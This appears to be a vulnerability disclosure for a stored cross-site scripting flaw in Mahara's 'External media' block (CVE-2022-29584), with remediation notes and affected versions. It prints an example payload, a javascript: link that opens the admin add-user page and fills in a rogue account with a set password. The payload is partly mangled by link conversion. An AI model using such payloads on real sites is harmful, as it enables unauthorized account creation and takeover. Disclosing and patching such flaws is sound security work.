XSS exploit in 'External media' block

Example exploit:

<a class="embedly-card" href="javascript: {var TestFenster = http://window.open('../admin/users/add.php','TestWindow','width=800,height=800,left=100,top=50');function fill() {TestWindow.adduser.username.value='badboy';TestWindow.adduser.firstname.value='Bad';TestWindow.adduser.lastname.value='Boy';http://<email address hidden>';TestWindow.adduser.password.value='Secret+12345';https://t.co/f2YTjI3B9B();}TestWindow.addEventListener('load',fill);}">open the gate</a>

Note: I'm not sure about the 't.co' URL as that might have been converted from Twitter as it was sent via a DM.

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Things to keep in mind:

- we'd probably need to allow protocol free urls too, eg allow strings starting with 'http://', 'https://', and '://'
- sanitize the URL
- Alternatively, the sanity check could be done here:
/htdocs/blocktype/externalvideo/embed_services/embedly/embedservice.php#L61

Vulnerability type: Cross-site scripting (XSS) / stored XSS
Attack type: Remote
Impact: Code execution

Affected components: The 'External media' block and anywhere you can enter HTML code, such as a text block, notes, journal entry, and forum post.

Suggested description: Mahara before 20.10.5, 21.04.4, 21.10.2, and 22.04.0 are vulnerable to stored cross-site scripting when a particular CSS class for embedly is used and JavaScript code constructed to perform an action.

Reported by: Can't disclose
Bug report: https://bugs.launchpad.net/mahara/+bug/1968920
CVE reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29584